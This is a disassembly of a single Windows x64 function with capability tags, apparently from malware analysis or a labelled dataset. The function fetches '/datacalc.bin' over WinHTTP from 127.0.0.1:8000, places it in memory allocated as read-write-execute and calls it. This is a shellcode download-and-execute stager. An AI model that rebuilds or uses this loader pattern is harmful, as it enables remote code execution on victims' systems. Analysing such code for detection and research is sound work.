Function at 0x1400113bb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
jmp 0x140014e60
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x220], rax
lea rcx, [0x1400290f7]
call fcn.140011591
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_Gecko
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 8], rax
xor r9d, r9d
mov r8w, 0x1f40
lea rdx, str.127.0.0.1
mov rcx, qword [rbp + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0x28], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._datacalc.bin
lea rdx, [0x14001f318]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
je 0x140014f58
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rbp + 0x64], eax
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xa4], 0
mov edx, 0x20
lea rcx, [rbp + 0xc8]
call fcn.1400114c4
lea rcx, [rbp + 0xc8]
call fcn.1400111b8
nop
mov dword [rbp + 0x104], 0
cmp dword [rbp + 0x64], 0
je 0x1400150be
mov dword [rbp + 0x84], 0
lea rdx, [rbp + 0x84]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x140014fc2
jmp 0x140015051
cmp dword [rbp + 0x84], 0
jne 0x140014fd0
jmp 0x140015051
mov eax, dword [rbp + 0x84]
mov edx, eax
lea rcx, [rbp + 0xc8]
call fcn.140011087
nop
mov eax, dword [rbp + 0x84]
mov qword [rbp + 0x218], rax
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.14001112c
mov rcx, qword [rbp + 0x218]
mov r8, rcx
xor edx, edx
mov rcx, rax
call fcn.14001142e
nop
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.14001112c
lea r9, [rbp + 0xa4]
mov r8d, dword [rbp + 0x84]
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x140015044
jmp 0x140015051
cmp dword [rbp + 0x84], 0
ja 0x140014f9e
lea rcx, [rbp + 0xc8]
call fcn.140011028
inc rax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0xc8]
call fcn.140011028
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0xc8]
call fcn.140011190
mov rcx, qword [rbp + 0x218]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x128]
call fcn.14001128f
nop
call qword [rbp + 0x128]
nop
cmp qword [rbp + 0x48], 0
je 0x1400150d0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
cmp qword [rbp + 0x28], 0
je 0x1400150e2
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
cmp qword [rbp + 8], 0
je 0x1400150f4
mov rcx, qword [rbp + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov dword [rbp + 0x204], 0
lea rcx, [rbp + 0xc8]
call fcn.140011528
mov eax, dword [rbp + 0x204]
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ed10]
call fcn.1400114a6
mov eax, edi
mov rcx, qword [rbp + 0x220]
xor rcx, rbp
call fcn.14001128a
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret